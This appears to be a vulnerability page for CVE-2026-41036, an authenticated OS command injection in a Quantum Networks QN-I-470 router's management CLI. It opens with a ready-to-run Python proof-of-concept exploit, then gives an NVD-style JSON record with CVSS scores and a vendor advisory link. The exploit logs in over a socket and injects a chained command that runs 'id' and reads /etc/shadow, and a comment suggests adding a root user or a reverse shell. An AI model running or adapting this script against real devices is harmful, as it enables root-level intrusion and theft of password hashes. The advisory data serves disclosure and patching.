CVE-2026-41036

import socket import sys def exploit(target_ip, target_port, username, password): # Connect to the management CLI interface s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Receive initial banner print(s.recv(1024).decode()) # Authenticate with low-privilege credentials payload = f"{username}\n{password}\n" s.send(payload.encode()) print(s.recv(1024).decode()) # Inject malicious command (e.g., create a root user or reverse shell) # Using semicolon to chain commands malicious_cmd = "system; id; cat /etc/shadow\n" s.send(malicious_cmd.encode()) # Receive output result = s.recv(4096).decode() print("[+] Exploit Result:") print(result) s.close() if __name__ == "__main__": # Usage: python poc.py <IP> <PORT> <USER> <PASS> if len(sys.argv) != 5: print("Usage: python poc.py <IP> <PORT> <USER> <PASS>") sys.exit(1) exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

{"cve": {"id": "CVE-2026-41036", "sourceIdentifier": "[email protected]", "published": "2026-04-21T10:16:30.800", "lastModified": "2026-05-06T18:11:44.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability exists in Quantum Networks router due to inadequate sanitization of user-supplied input in the management CLI interface. An authenticated remote attacker could exploit this vulnerability by injecting arbitrary OS commands on the targeted device.\n\nSuccessful exploitation of this vulnerability could allow the attacker to perform remote code execution with root privileges on the targeted device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qntmnet:qn-i-470_firmware:6.1.1.b1:*:*:*:*:*:*:*", "matchCriteriaId": "A9418B1D-1A2C-4134-BF4A-854F6942D3DE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:qntmnet:qn-i-470:-:*:*:*:*:*:*:*", "matchCriteriaId": "695A22BB-D237-4EB0-B4F7-901C86E98625"}]}]}], "references": [{"url": "https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES01&VLCODE=CIVN-2026-0200", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}